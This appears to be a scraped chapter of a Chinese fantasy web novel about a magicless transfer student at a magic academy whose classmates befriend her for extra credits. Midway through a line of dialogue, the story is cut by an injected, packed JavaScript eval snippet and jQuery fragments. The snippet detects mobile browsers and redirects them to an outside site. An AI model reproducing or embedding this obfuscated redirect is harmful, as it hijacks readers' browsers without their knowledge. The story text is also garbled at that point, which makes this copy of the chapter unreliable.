白佳果上了一个半星期的课。


    课程安排紧密，不上课的时间她还会看斯笛墨教授给她推荐的书籍，之前找来的文献也没落下。


    这天上午白佳果有两节大课，第一节课上完，她收拾好课本奔赴下节课上课的教室，却在抵达教室后，和同样来上课的其他同学一起被告知教授临时有事来不了，还找不到人代课，所以这节课调到了明天。


    具体明天什么时间上课还要看安排，会在今晚九点之前给上这门课的学生发通知。


    白佳果上星期才开始上这门课，她不确定自己会不会收到通知，也不知道能不能给教授发邮件问问。


    她一边拿着手机搜教授的邮箱，一边抱着课本离开，在下楼的时候被追上来的学生叫住。


    叫住她的是个黑发黑眼戴眼镜的男生，白佳果对他有印象，是一块上这门课的同学，好像还是班长来着，刚刚就是他带来了临时调课的消息。


    班长拿出手机，语气柔和地问白佳果能不能加个好友，理由是：“明天的上课时间和地点会先发给我，再由我发到班群里。如果你愿意的话我可以把你拉到群里，或者你不想进群我也可以直接把通知发给你。”


    班长长了一张温和无害没有攻击性的俊秀面容，黑色金属边框的眼镜令他多添了几分斯文的学生气。


    顶着这么一张脸，大概很少会有人拒绝他提出来的合理请求，更何况白佳果也确实需要对方的帮助。


    “那麻烦你了。”白佳果同意加对方好友，但没有进他们的班级群。


    加完好友，班长又提到他们班想趁这次人齐去校外聚餐，问她要不要一起。


    白佳果和他们都不认识，自然没有答应。


    告别班长，白佳果继续下楼，顺带给空想雅发了条信息。


    空想雅昨天提前同她打过招呼，说今天有别的事情要处理，可能会踩点来接她。


    现在课程临时取消，空想雅还没来，她打算去图书馆自习，让空想雅来了给她发信息，免得她太专注忘了时间。


    #


    图书馆，魔法阵应用专业一年级二班的几个学生聚在靠窗的角落查找资料。


    当然也不是所有人都很用心，比如坐在窗边拿着手机那位白色短卷发、古铜色皮肤的男生。别人都在埋头翻阅三年前的书册校报，就他一个人拿着一份薄薄的校刊，没翻两页就拿起手机，臭着张脸，显然心情不好。


    其他人默契地没去管他，更没有安慰——男生是龙族，身为龙族选修抢课想抢龙语，结果被系统提示不符合抢课条件，因此愤愤不平，怎么看都不值得安慰。


    龙族男生才不管这些，他自顾自生着气，手指百无聊赖地点开学校论坛里的帖子，扫了一眼觉得无聊，退出，刷新，看有没有新发布的有趣的帖子出现。


    如果没有他就关掉论坛，去图书馆外面的自动贩卖机那买一瓶果汁喝。


    然后他刷出了一条标题是【临时调课让我和学分失之交臂，该怎么调理？】的帖子。


    自从特殊生出现后，论坛里经常出现有关特殊生的帖子，因为标题直接带“特殊生”会被封贴，所以出现了各种隐晦的代指。


    龙族男生凭借直觉点进这条帖子，果然和特殊生有关。


    贴主表示自己上星期发现特殊生来上课之后就一直摩拳擦掌等今天，誓要成为特殊生最贴心周到的好朋友，结果今天上课去晚了，到教室才知道教授调课，特殊生也早就走了，连面都没碰到，心里很难过。


    【2l：友谊之神的惩罚】


    【6l：只有我觉得这么做不太道德吗？冲着学分来的贴心周到好朋友？】


    【7l：无论出发点怎么样，总归让需要帮助的人得到了帮助，有什么不好的。】


    【10l：不计回报的好心人固然品德高尚，但也不能说冲着报酬而伸出援手的同学有多么卑劣吧，各取所需很正常。但话又说回来了，贴主这种一点小事就需要发帖问怎么调理的人，感觉是特殊生照顾ta的可能性多一点】


    【11l：同情特殊生，没办法使用魔法已经很可怜了，还要被人看做是行走的学分，根本没人在意她的存在本身。】


    【12l：同情特殊生不如同情同情还在为学分挣扎的自己（笑）】


    楼里的学生们开启了争论，当然也有几个画风不大一样的——


    【71l：倒也不是所有人靠近特殊生都是为了拿额外学分。】


    【73l：71楼我懂你，特殊生真的好可爱嘿嘿嘿】


    【75l：73l和特殊生接触过？多说点，好奇，爱听。】


    【75l：没有炫耀的意思，但既然有人问了，那我说一下。


    咳咳（整理领带）前天和特殊生同班上过课，她就坐我旁边，我发誓我从来没有这么小心谨慎过，就怕不小心把骨头露出来吓到她。结果因为开小差太明显被教授抓起来回答问题，我都打算蒙了，一低头居然看到特殊生在旁边提醒我！！你们都不知道她有多可爱！在前桌同学背后偷偷比了个三使劲晃，生怕我看不到。要不是怕被扭送警局，我真的好想把她的手整个包进我的掌心！！】


    【76l：然后连肉带骨头捏成一团是吧，有时候真想报警把你们亡灵族都抓起来。】


    【80l：我昨天也碰到过特殊生，靠近才发现特殊生好矮，一米六？还是一米六二？】


    【81l：有差别吗？是不是有一部分矮人族血统？】


    【82l：我和她一起上过课，徒手画圆都不会，绝不可能有矮人族血统】


    ……


    帖子的内容开始走偏，龙族男生越看越烦：怎么都碰到了特殊生，就他碰不到？


    龙族男生看到最后一条跟帖，点下刷新，页面瞬间空白，屏幕中央弹出一个灰色的框，显示该贴已被封禁。


    龙族男生退出论坛，往只有几个人的群里发了条信息说自己要去图书馆外面买饮料，接着起身离开座位。


    群里另外几个同学看了眼信息，有的没管他继续翻资料，有的拿起手机回复，在群里聊了几句。


    龙族男生来到图书馆外面，站在自动售卖机前买了瓶葡萄汁，图书馆内禁止饮食，所以他没有马上进去，而是在外面站了一会儿。


    也就是这么一会儿的功夫，让他看到了他心心念念的特殊生。


    糟糕的心情霎时间从谷底起飞。


    和第一次在斯笛墨教授的课上看到的一样，那个女孩规规矩矩地穿着校服，看着很乖巧很好欺负的模样。


    此刻她正驻足于林道旁，定定地看着草坪上那座学校创始人——人族魔法师应索的雕像。


    龙族男生毫不避讳地将目光落在白佳果身上，同时迈开脚步，朝她走去：“你好！”


    龙族男生面上扬起的笑容相当灿烂，会令人联想到看见猫就兴奋发疯的大狗。


    回过神听到声音的白佳果面容僵了一瞬，她缓缓扭头看向龙族男生，拘谨地压低了自己的声音：“你好……”


    “我叫那渊，能交个朋友吗？”他坦率地道明了来意。


    “我……”白佳果不知道该怎么接他的话，那渊不仅是她曾经的同班同学，还是玩得最好的那群人中的一个。


    所以在上辈子，她好不容易有机会重返魔法世界的时候，她最期待的事情就是约他们出来聚一聚，或者她去学校找他们也行，以游客的身份进行登记，也是可以进入学校的。


    结果——


    “抱歉佳果，我最近在赶小组作业，可能没有时间。”


    “金树餐厅吗？听起来不错，可惜我跟洛以不在学校，我们去了缭城，恐怕没办法赴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467460|169753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    约，我们都很遗憾，佳果。”


    “抱歉女士，我的雇主正在忙，如果有需要的话，我可以代你转达。”


    “对不起啊佳果，我和那对姓少的双胞胎约好了去图书馆，有个课题需要……什么少洛望说他跟他弟不在学校去缭城探亲了？好吧……好吧，那我只能和你明说了。”


    “佳果，你这样其实挺让人困扰的。”


    ……


    原本她还准备在魔法世界多玩几天，至少一个星期吧，结果不到两天她就逃回了自己的世界，那些准备好的小礼物也没送出去。


    再没有什么能比发现自己对着一群人自作多情更难堪的了。


    所以即便过去很多年，即便她有过心理准备，还是会在当下感到不自在。


    真没出息，都上辈子的事情了，现在又没发生过，至于嘛。


    白佳果告诉自己，平常心，平常心。


    她准备拒绝那渊，话还没说出口，听见那渊问她：“我是不是吓到你了？”


    白佳果：“……大概是吧。”


    是挺惊吓的。


    那渊：“你胆子真小。”


    白佳果忍了又忍，还是忍不住吐槽：“怪我吗？”


    “啊？”


    白佳果：“明明是你突然跑过来和我说话。”


    身材健硕高大的龙族眨了眨眼，他的眼睛是琥珀一般剔透的金黄色，很衬他的皮肤。


    “你说得对。”一向脾气不好的他竟然接受了来自白佳果的谴责，“我和你道歉，对不起吓到你了，所以你能和我做朋友吗？”


    朋友……


    白佳果直接问：“你是为了学分来的吗？”


    那渊：“嗯！你刚来可能还不知道，我们学校的学分制很严苛，如果什么都不做仅仅是上课和参加社团活动根本没办法顺利毕业，那怕每一科都及格也不行，需要成绩特别优秀，拿到足够多的成就和奖励，无论是校内的还是校外的。”


    “如果能从你这得到额外学分的话，能给我们减轻不少压力，所以你现在知道你有多重要了吗？”


    听到他这么坦然地承认，白佳果愣在了原地。


    “你怎么了？”那渊问。


    白佳果缓缓收起呆愣的表情，她定定地看着那渊，看得那渊都有些不自在了，终于释然地笑了一声。


    就算是既得利益者，知道真相后的白佳果也曾有过埋怨，更别提事情发生的时候她才十九岁，太年轻，尴尬过头了自然会钻牛角尖，尖锐偏执的时候甚至感觉自己是被利用、被欺骗感情的工具人，幻想着他们终有一日会后悔这么对她。


    ——是一些不需要重生，过个几年回头看看便会觉得幼稚的幻想。


    但原来从头到尾都没有欺骗，他们没有打算隐瞒对她好的原因，他们就是冲着这个来的。


    是她没问清楚，自顾自多想了，说不定以那渊毫不遮掩的程度，她曾经听过类似的坦白只是当做玩笑没放心上而已。


    嗐。


    白佳果越发不想靠近他们，免得那段黑历史总在脑子里盘旋，太影响她的生活了，于是她拒绝道：“抱歉，我暂时不想和谁交朋友。”


    #


    名为【搞清楚就解散】的聊天群里，有人发了一条信息——


    【大少：好碍眼，我们把他扔去校医楼吧】


    【小少：我和我哥辛苦点负责抬，还缺个能把他打晕的】


    【是金子总会发光：负责动手打晕的那个才是最辛苦的吧，所以那渊到底怎么了？】


    【第六法则：@我是龙】


    图书馆靠窗的角落里，回来后明显心情好转，但也不算特别高兴的那渊正在发呆，直到手机震动，他拿起手机看了眼群里的信息，也不知道是怎么想的，发了一句——


    【特殊生笑起来还挺好看的。】